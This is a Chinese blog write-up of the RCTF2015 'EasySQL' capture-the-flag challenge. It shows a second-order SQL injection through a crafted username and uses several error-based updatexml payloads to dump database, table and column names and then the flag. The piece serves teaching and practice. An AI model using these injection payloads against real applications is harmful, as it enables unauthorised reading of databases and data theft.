[RCTF2015]EasySQL

[RCTF2015]EasySQL

打开环境,有一个注册一个登录按钮

NfS-HYrSo8PZX4BYASwbFWZiQuciUSwrrZafu8zLlpY

这里注册的时候有个坑,邮箱那栏你不能输入@xx.com,否则就会报错不允许的字符

fuzz测试一下发现过滤了不少字符

7W85yLjqj0VUwIgc7L2At6KUIPYqaHo6DVt4s7Rdu1M

注册完成后登录

QXwjprw41_ru7dsYUOR9wxEf_YRy1I0Spd7HrQjqM6Q

zJCLJnJVkhzkTVI1Dn5zl5Aj3pNA46KKQqUOs1wfXIw

qwTQkEcvvrtdmc-3eXDpNDuE1tt6_efmH9zx5qejiFM

首页的文字没有什么有用的信息,进入帐号发现可以修改密码

_d8w7eyXiOaO4R1nrJ_QTEdO_KkETnWMJl2DxAcxEeA

GVpBsKVffDw7ymBLXWCjLkWGqd6xi15oWi_KLCUO7vo

如果是正常的账号,此时修改密码不会有任何回显

经过前面测试发现反斜杠(\)没被过滤,那么就注册个反斜杠的号(1'\),在修改密码的时候,我们可以看到有明显的错误回显

BukJj3OGWpIC31P2xxYbvLZo0g6THAhIbcSBAjmCyAk

说明这里是二次注入

由此,我们可以推测出,数据库的查询语句为

select * from 表名 where id="%s" and pwd="密码"

使用报错注入爆库,首先获取数据库信息

1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

将我们注入的值,已表单的形式提交给服务器,相当于注册了一个账号

在修改密码时就发现回显报错,获取库名为web_sqli

P6v9AKEz4GxSlJwYHkRdtP5Vfpcn9SIKgM15eduKM_c

获取表名,得到表名为article,flag,users

1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#

0w42lfD_--cO9UVjlNuB1g6lPVdVVEJyv5QgIdhZji0

获取表flag的字段名,字段名为~title,content,flag,name,pwd,ema

1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')||(table_name='flag')),0x7e),1)#

FCz12wvEGD3Qg7pvyh73jTxTlXLyL52P-5eVsHB8bxI

获取flag的内容

1"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

umPop6kZh7EZz-6YvvTZ_DsgVmfRO8NNfki2i7T2g-M

得到的是个提示——~RCTF{Good job! But flag not her,

换一张表查数据,使用users表,爆破字段

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

cEmA9iiVk08sHRTD3wnahqktB7tVKMsubkGisC_84Ts

接下来直接获取字段内容

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

fKPpAJLcggPLxyyuXs6iv2Dw-cdaf64Ik0rKSzqDCrg

得到部分flag{cf294940-c45d-4c8e-9063-63,因为right、left、mid等函数均被过滤,因此使用reverse函数

Jbwi8gCSwp3YlfQoPNLFsnktDPaCYuLyx3IA32XE_qY

}fe61b1336036-3609-e8c4-d54c-04,这里为了得到正序flag,使用Python代码进行倒序

letter_num = list(input('please input some characters:'))
list_num = []
def convert_order():
    for i in range(len(letter_num)):#根据列表的长度决定遍历的次数
        list_num.append(letter_num[len(letter_num) - i - 1])#把letter_num中的值倒序添加到新列表中
    print(''.join(list_num))#把''无间隔符添加到list_num中每个元素的中间,总体效果就是把列表转换为字符串
   
convert_order()

dViT84_aWl4YkyXQQLcx4HNvsY-ZSWhZM7Ot_bkSI20

拼接得到flag{cf294940-c45d-4c8e-9063-6306331b16ef}

posted on 2024-05-14 16:12  跳河离去的鱼  阅读(7)  评论(0编辑  收藏  举报